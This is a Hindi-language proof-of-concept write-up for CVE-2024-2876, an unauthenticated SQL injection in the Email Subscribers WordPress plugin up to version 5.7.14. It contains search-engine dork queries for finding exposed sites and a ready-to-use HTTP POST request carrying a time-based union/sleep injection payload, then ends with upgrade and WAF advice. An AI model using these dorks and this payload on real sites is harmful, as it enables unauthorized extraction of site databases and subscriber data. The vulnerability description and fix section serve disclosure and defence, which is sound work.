
CVE-2024-2876 के लिए प्रूफ-ऑफ-कॉन्सेप्ट, जो Email Subscribers WordPress प्लगइन में एक अनऑथेंटिकेटेड SQL इंजेक्शन है, जिसमें dork क्वेरीज़ और एक कार्यशील exploit अनुरोध शामिल है।
WordPress और WooCommerce के लिए Icegram Express द्वारा Email Subscribers – Email Marketing, Newsletters, Automation प्लगइन, सभी संस्करणों में 5.7.14 तक और उस सहित, 'IG_ES_Subscribers_Query' क्लास के 'run' फ़ंक्शन के माध्यम से SQL Injection के प्रति संवेदनशील है, क्योंकि उपयोगकर्ता द्वारा प्रदान किए गए पैरामीटर पर अपर्याप्त escaping है और मौजूदा SQL क्वेरी पर पर्याप्त तैयारी का अभाव है। यह अनधिकृत हमलावरों के लिए संभव बनाता है कि वे पहले से मौजूद क्वेरीज़ में अतिरिक्त SQL क्वेरीज़ जोड़ सकें, जिनका उपयोग डेटाबेस से संवेदनशील जानकारी निकालने के लिए किया जा सकता है।
#Dork: 1- FOFA : body="/wp-content/plugins/email-subscribers/" 2- publicwww : "/wp-content/plugins/email-subscribers/"
#POC: POST /wp-admin/admin-post.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded
page=es_subscribers&is_ajax=1&action=_sent&advanced_filter[conditions][0][0][field]=status=99924)))union(select(sleep(4)))--+&advanced_filter[conditions][0][0][operator]==&advanced_filter[conditions][0][0][value]=1111
#Youtube POC: https://www.youtube.com/watch?v=eDEGt_yXyvE
#इसे कैसे ठीक करें? चूंकि 5.7.14 तक के सभी संस्करणों में CVE का पता चला था, उपयोगकर्ताओं के लिए यह अनुशंसित है कि वे Email Subscribers by Icegram Express प्लग-इन को संस्करण 5.7.15 (या नवीनतम रिलीज़ 5.7.19) में अपग्रेड करें। Patchstack उपयोगकर्ताओं के पास विशेष रूप से संवेदनशील प्लगइन्स के लिए स्वचालित अपडेट सक्षम करने का विकल्प है। सुरक्षा की एक अतिरिक्त परत के रूप में WAF/WAAP समाधान लागू करें। ऐसे समाधानों का लाभ यह है कि भले ही भेद्यता नई और अज्ञात (0-day) हो, यह शोषण पैटर्न और तकनीकों का पता लगाकर हमलों को रोक सकता है।